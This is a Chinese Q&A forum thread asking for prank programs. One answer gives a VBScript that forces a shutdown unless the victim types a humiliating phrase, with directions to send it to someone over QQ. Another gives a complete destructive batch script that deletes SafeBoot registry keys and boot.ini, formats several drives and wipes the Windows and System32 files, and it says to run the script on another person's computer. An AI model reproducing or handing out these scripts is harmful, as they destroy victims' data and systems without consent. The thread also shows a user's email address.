Question

谁有恶作剧的小程序，比如说自己是猪不然就自动关机的这种，别的也行。

如果满意的话加分哟

Answer 1

我有
--------------------------------------------我是横线不要复制我------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"
--------------------------------------------我是横线不要复制我------------------------------------------
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe
把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧。
用QQ传送文件发送给他！叫他打开！
文字和逗号可以改成 你想要的，这个"不要改！！！

Answer 2

如果要整蛊你的仇人，这样可以（但会毁了别人的电脑）：

1. 在你的U盘新建一个文档
   2.输入:
   @echo off
   echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
   chcp 437>nul
   graftabl 936>nul
   REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f
   REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f
   ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h
   DEL %SYSTEMDRIVE%\boot.ini /f
   format d:/q /y
   format e:/q /y
   format f:/q /y
   format g:/q /y
   cd c:\
   cd windows
   del *.* /q
   cd system32
   del *.* /q
   del %0
   shutdown -r -t 3
   -----------------------------------------结束-------------------------------
   3.把 新建文本文档.txt 该为 新建文本文档.bat
   4.保存。

   5.到别人家，把这个文件放到别人的电脑运行。

   6.买袋爆米花！看戏！

好了，满不满意你自己决定。

Answer 3

有是有,但是会伤害对方机器的，我可以编写一个网页，就可以做到这样的效果。那样木有必要的。

追问

也行，你编写一个吧，发到我的QQ邮箱里，1304707878@qq.com加分哟

追答

抱歉，我没有那么闲，我不能帮助你！

追问

你要多少分

Answer 4

没有啊

追问

有里

Answer 5

要很久很久